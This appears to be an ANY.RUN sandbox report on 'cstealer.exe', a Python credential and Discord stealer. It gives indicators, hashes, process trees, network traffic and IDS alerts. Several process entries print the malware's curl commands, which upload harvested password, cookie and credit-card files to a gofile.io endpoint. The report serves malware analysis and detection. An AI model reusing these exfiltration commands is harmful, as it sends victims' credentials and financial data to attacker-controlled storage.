File name:

cstealer.exe

Full analysis: https://app.any.run/tasks/304d23da-6959-41b8-97b5-93df8ac842d3
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: December 18, 2024, 20:45:54
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
evasion
discord
stealer
python
pyinstaller
discordgrabber
generic
ims-api
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 6 sections
MD5:

5917917862373736CA5113ADAF15EFC2

SHA1:

E5F5C4EB6BB85284CBDF38A3DCB3566ADCDACA1F

SHA256:

887C2F93D79FB5FA54557F6882EAF89173B28C9ED8AA4F591765110ADAD211CC

SSDEEP:

98304:JJ3ap2sdJE8slJ7CxPy9xolFZgHkjmroIaAZhhRb4bBafg5j+6KnCZwlB4N+wcTu:MTyYIwnGgMinkIjc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • cstealer.exe (PID: 6352)

    • Steals credentials from Web Browsers

      • cstealer.exe (PID: 6352)

    • Actions looks like stealing of personal data

      • cstealer.exe (PID: 6352)

    • DISCORDGRABBER has been detected (YARA)

      • cstealer.exe (PID: 6352)

  • SUSPICIOUS

    • Process drops python dynamic module

      • cstealer.exe (PID: 6300)

    • Executable content was dropped or overwritten

      • cstealer.exe (PID: 6300)
      • cstealer.exe (PID: 6352)

    • Application launched itself

      • cstealer.exe (PID: 6300)

    • The process drops C-runtime libraries

      • cstealer.exe (PID: 6300)

    • Process drops legitimate windows executable

      • cstealer.exe (PID: 6300)

    • Loads Python modules

      • cstealer.exe (PID: 6352)

    • Execution of CURL command

      • cstealer.exe (PID: 6352)

    • Starts CMD.EXE for commands execution

      • cstealer.exe (PID: 6352)

    • Data upload via CURL

      • curl.exe (PID: 9424)
      • curl.exe (PID: 9648)
      • curl.exe (PID: 9792)
      • curl.exe (PID: 9892)
      • curl.exe (PID: 9988)
      • curl.exe (PID: 10084)

    • Checks for external IP

      • svchost.exe (PID: 2192)
      • cstealer.exe (PID: 6352)

    • Possible usage of Discord/Telegram API has been detected (YARA)

      • cstealer.exe (PID: 6352)

  • INFO

    • Create files in a temporary directory

      • cstealer.exe (PID: 6300)
      • cstealer.exe (PID: 6352)

    • Reads the computer name

      • cstealer.exe (PID: 6300)
      • cstealer.exe (PID: 6352)
      • curl.exe (PID: 9424)
      • curl.exe (PID: 9648)
      • curl.exe (PID: 9792)

    • The sample compiled with english language support

      • cstealer.exe (PID: 6300)

    • Checks supported languages

      • cstealer.exe (PID: 6300)
      • cstealer.exe (PID: 6352)
      • curl.exe (PID: 9424)
      • curl.exe (PID: 9892)
      • curl.exe (PID: 9792)
      • curl.exe (PID: 10084)
      • curl.exe (PID: 9988)
      • curl.exe (PID: 9648)

    • Checks proxy server information

      • cstealer.exe (PID: 6352)

    • Creates files or folders in the user directory

      • cstealer.exe (PID: 6352)

    • Execution of CURL command

      • cmd.exe (PID: 9308)
      • cmd.exe (PID: 9728)
      • cmd.exe (PID: 9828)
      • cmd.exe (PID: 9924)
      • cmd.exe (PID: 10020)
      • cmd.exe (PID: 9584)

    • Attempting to use instant messaging service

      • cstealer.exe (PID: 6352)
      • svchost.exe (PID: 2192)

    • PyInstaller has been detected (YARA)

      • cstealer.exe (PID: 6300)
      • cstealer.exe (PID: 6352)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2024:12:18 20:45:42+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.41
CodeSize: 172032
InitializedDataSize: 154624
UninitializedDataSize: -
EntryPoint: 0xce20
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
143
Monitored processes
21
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start cstealer.exe #DISCORDGRABBER cstealer.exe svchost.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe cmd.exe no specs conhost.exe no specs curl.exe no specs cmd.exe no specs conhost.exe no specs curl.exe no specs cmd.exe no specs conhost.exe no specs curl.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2192C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
6300"C:\Users\admin\AppData\Local\Temp\cstealer.exe" C:\Users\admin\AppData\Local\Temp\cstealer.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\cstealer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
6352"C:\Users\admin\AppData\Local\Temp\cstealer.exe" C:\Users\admin\AppData\Local\Temp\cstealer.exe
cstealer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\cstealer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
9308C:\WINDOWS\system32\cmd.exe /c "curl -X POST "https://store-eu-par-1.gofile.io/contents/uploadfile" -F "file=@C:\Users\admin\AppData\Local\Temp\cspasswords.txt""C:\Windows\System32\cmd.exe—cstealer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
9376\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
9424curl -X POST "https://store-eu-par-1.gofile.io/contents/uploadfile" -F "file=@C:\Users\admin\AppData\Local\Temp\cspasswords.txt"C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
9584C:\WINDOWS\system32\cmd.exe /c "curl -X POST "https://store-eu-par-1.gofile.io/contents/uploadfile" -F "file=@C:\Users\admin\AppData\Local\Temp\cscookies.txt""C:\Windows\System32\cmd.exe—cstealer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
9600\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
9648curl -X POST "https://store-eu-par-1.gofile.io/contents/uploadfile" -F "file=@C:\Users\admin\AppData\Local\Temp\cscookies.txt"C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.4.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
9728C:\WINDOWS\system32\cmd.exe /c "curl -X POST "https://store-eu-par-1.gofile.io/contents/uploadfile" -F "file=@C:\Users\admin\AppData\Local\Temp\cscreditcards.txt""C:\Windows\System32\cmd.exe—cstealer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
Total events
1 865
Read events
1 865
Write events
0
Delete events
0

Modification events

No data
Executable files
64
Suspicious files
4
Text files
2
Unknown types
6

Dropped files

PID
Process
Filename
Type
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_ARC4.pydexecutable
MD5:BCD8CAAF9342AB891BB1D8DD45EF0098
SHA256:78725D2F55B7400A3FCAFECD35AF7AEB253FBC0FFCDF1903016EB0AABD1B4E50
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_aes.pydexecutable
MD5:0AB25F99CDAACA6B11F2ECBE8223CAD5
SHA256:6CE8A60D1AB5ADC186E23E3DE864D7ADF6BDD37E3B0C591FA910763C5C26AF60
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_cbc.pydexecutable
MD5:40390F2113DC2A9D6CFAE7127F6BA329
SHA256:6BA9C910F755885E4D356C798A4DD32D2803EA4CFABB3D56165B3017D0491AE2
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_ctr.pydexecutable
MD5:C4C525B081F8A0927091178F5F2EE103
SHA256:4D86A90B2E20CDE099D6122C49A72BAE081F60EB2EEA0F76E740BE6C41DA6749
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_ecb.pydexecutable
MD5:80BB1E0E06ACAF03A0B1D4EF30D14BE7
SHA256:5D1C2C60C4E571B88F27D4AE7D22494BED57D5EC91939E5716AFA3EA7F6871F6
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_pkcs1_decode.pydexecutable
MD5:C09BB8A30F0F733C81C5C5A3DAD8D76D
SHA256:8A1B751DB47CE7B1D3BD10BEBFFC7442BE4CFB398E96E3B1FF7FB83C88A8953D
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_eksblowfish.pydexecutable
MD5:3727271FE04ECB6D5E49E936095E95BC
SHA256:3AF5B35DCD5A3B6C7E88CEE53F355AAFFF40F2C21DABD4DE27DBB57D1A29B63B
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_arc2.pydexecutable
MD5:F14E1AA2590D621BE8C10321B2C43132
SHA256:FCE70B3DAFB39C6A4DB85D2D662CB9EB9C4861AA648AD7436E7F65663345D177
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_raw_aesni.pydexecutable
MD5:B6EA675C3A35CD6400A7ECF2FB9530D1
SHA256:76EF4C1759B5553550AB652B84F8E158BA8F34F29FD090393815F06A1C1DC59D
6300cstealer.exeC:\Users\admin\AppData\Local\Temp\_MEI63002\Crypto\Cipher\_Salsa20.pydexecutable
MD5:F19CB847E567A31FAB97435536C7B783
SHA256:1ECE1DC94471D6977DBE2CEEBA3764ADF0625E2203D6257F7C781C619D2A3DAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
74
DNS requests
27
Threats
48

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4712
MoUsoCoreWorker.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4712
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
760
lsass.exe
GET
200
2.16.241.8:80
http://r11.o.lencr.org/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQaUrm0WeTDM5ghfoZtS72KO9ZnzgQUCLkRO6XQhRi06g%2BgrZ%2BGHo78OCcCEgNBFe%2FLtaY4kXJ9034IQY5mQA%3D%3D
unknown
—
—
whitelisted
6088
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2892
svchost.exe
GET
200
69.192.161.44:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
10192
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
10192
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
4712
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3884
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
104.126.37.129:443
www.bing.com
Akamai International B.V.
DE
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
20.190.159.75:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.176
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 216.58.206.78
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
  • 51.104.136.2
  • 20.73.194.208
whitelisted
www.bing.com
  • 104.126.37.129
  • 104.126.37.171
  • 104.126.37.137
  • 104.126.37.163
  • 104.126.37.176
  • 104.126.37.170
  • 104.126.37.177
  • 104.126.37.154
  • 104.126.37.136
whitelisted
ocsp.digicert.com
  • 192.229.221.95
unknown
login.live.com
  • 20.190.159.75
  • 20.190.159.23
  • 40.126.31.69
  • 20.190.159.68
  • 20.190.159.4
  • 40.126.31.67
  • 40.126.31.71
  • 20.190.159.71
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
rentry.co
  • 172.67.75.40
  • 104.26.2.16
  • 104.26.3.16
unknown
api.ipify.org
  • 104.26.13.205
  • 172.67.74.152
  • 104.26.12.205
shared

Threats

PID
Process
Class
Message
2192
svchost.exe
Misc activity
ET INFO Pastebin Service Domain in DNS Lookup (rentry .co)
6352
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
6352
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
6352
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
6352
cstealer.exe
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
2192
svchost.exe
Misc activity
ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup
2192
svchost.exe
Potentially Bad Traffic
ET INFO Online File Storage Domain in DNS Lookup (gofile .io)
6352
cstealer.exe
Misc activity
ET INFO File Sharing Related Domain in TLS SNI (gofile .io)
6352
cstealer.exe
Misc activity
ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI
2192
svchost.exe
Misc activity
ET INFO External IP Lookup Domain in DNS Lookup (geolocation-db .com)
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
cstealer.exe